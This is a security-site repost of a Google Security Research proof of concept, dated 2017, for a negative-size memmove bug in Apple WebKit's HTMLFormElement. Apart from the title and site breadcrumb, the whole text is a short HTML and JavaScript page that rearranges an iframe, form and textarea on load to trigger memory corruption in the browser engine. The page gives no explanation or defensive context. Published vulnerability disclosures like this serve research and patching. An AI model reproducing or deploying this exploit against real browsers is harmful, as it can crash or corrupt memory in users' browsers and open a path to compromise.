Apple WebKit - Negative-Size memmove in HTMLFormElement

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

Apple WebKit - Negative-Size memmove in HTMLFormElement

来源：Google Security Research 作者：Google 发布时间：2017-04-05

<script>
function go() {
var iframe = document.getElementById("iframe");
var iframeWindow = window[0];
var toInsert = div;
var iframeBody = iframeWindow.document.body;
iframeBody.before(document.body);
iframe.after(toInsert);
}
</script>
<body onload=go()>
<form id="form">
<textarea form="form">aaaaaaaa</textarea>
<iframe id="iframe"></iframe>
</form>
<div id="div"><dir><object></object></dir>
<div>

[